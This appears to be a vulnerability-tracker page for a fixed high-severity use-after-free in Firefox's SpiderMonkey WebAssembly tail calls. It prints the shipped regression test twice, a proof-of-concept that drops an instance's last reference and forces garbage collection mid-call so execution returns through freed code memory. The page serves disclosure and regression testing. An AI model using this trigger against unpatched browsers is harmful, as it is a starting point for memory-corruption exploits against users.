High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionUse-after-free in the JavaScript: WebAssembly component
ComponentSpiderMonkey
Bug ClassLogic Error
Tracker2067190
Fix commitdfcb4f16b1aa (firefox) +56/-0
CISA KEVNot listed
CreditedTomer Fichman
Disclosed2026-09-29

Changed Functions

FunctionChangeNotes
if
js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
modified

Files Changed

  • js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
new file mode 100644
index 00000000000..d99c9fd9656
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
@@ -0,0 +1,56 @@
+// Regression test for a use-after-free of wasm code.
+//
+// A `return_call` into a JS import collapses the calling frame but keeps
+// running that caller's import exit stub until the import returns. The exit
+// stub lives in the caller instance's code, so the caller instance must stay
+// alive for the duration even though, after the frame collapse, no frame on
+// the stack reports it. If GC frees the instance while the import runs,
+// execution returns through freed (and possibly reclaimed) executable memory.
+//
+// The import here drops the last reference to the tail-calling instance and
+// forces a collection; the subsequent return into the exit stub must remain
+// valid.
+
+var table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance indirectly, so its own frame is the only
+// thing that would keep it alive during the call, and the tail call throws
+// that frame away.
+var driver = wasmEvalText(`(module
+  (import "m" "table" (table 1 funcref))
+  (type $t (func (result i32)))
+  (func (export "f") (result i32)
+    i32.const 0
+    call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+var pressure = [];
+
+function go() {
+  if (!armed) {
+    return 42;
+  }
+  // Drop the last reference to the tail-calling instance and collect it.
+  table.set(0, null);
+  gc();
+  return 42;
+}
+
+function install() {
+  var ins = wasmEvalText(`(module
+    (import "m" "go" (func $go (result i32)))
+    (func (export "f") (result i32)
+      return_call $go)
+  )`, {m: {go}});
+  table.set(0, ins.exports.f);
+  // `ins` is now unreachable except through table[0].
+}
+
+install();
+
+// Warm up without arming so any lazy stubs are generated first.
+assertEq(driver(), 42);
+
+armed = true;
+assertEq(driver(), 42);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
new file mode 100644
index 00000000000..d99c9fd9656
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
@@ -0,0 +1,56 @@
+// Regression test for a use-after-free of wasm code.
+//
+// A `return_call` into a JS import collapses the calling frame but keeps
+// running that caller's import exit stub until the import returns. The exit
+// stub lives in the caller instance's code, so the caller instance must stay
+// alive for the duration even though, after the frame collapse, no frame on
+// the stack reports it. If GC frees the instance while the import runs,
+// execution returns through freed (and possibly reclaimed) executable memory.
+//
+// The import here drops the last reference to the tail-calling instance and
+// forces a collection; the subsequent return into the exit stub must remain
+// valid.
+
+var table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance indirectly, so its own frame is the only
+// thing that would keep it alive during the call, and the tail call throws
+// that frame away.
+var driver = wasmEvalText(`(module
+  (import "m" "table" (table 1 funcref))
+  (type $t (func (result i32)))
+  (func (export "f") (result i32)
+    i32.const 0
+    call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+var pressure = [];
+
+function go() {
+  if (!armed) {
+    return 42;
+  }
+  // Drop the last reference to the tail-calling instance and collect it.
+  table.set(0, null);
+  gc();
+  return 42;
+}
+
+function install() {
+  var ins = wasmEvalText(`(module
+    (import "m" "go" (func $go (result i32)))
+    (func (export "f") (result i32)
+      return_call $go)
+  )`, {m: {go}});
+  table.set(0, ins.exports.f);
+  // `ins` is now unreachable except through table[0].
+}
+
+install();
+
+// Warm up without arming so any lazy stubs are generated first.
+assertEq(driver(), 42);
+
+armed = true;
+assertEq(driver(), 42);
Loading diff…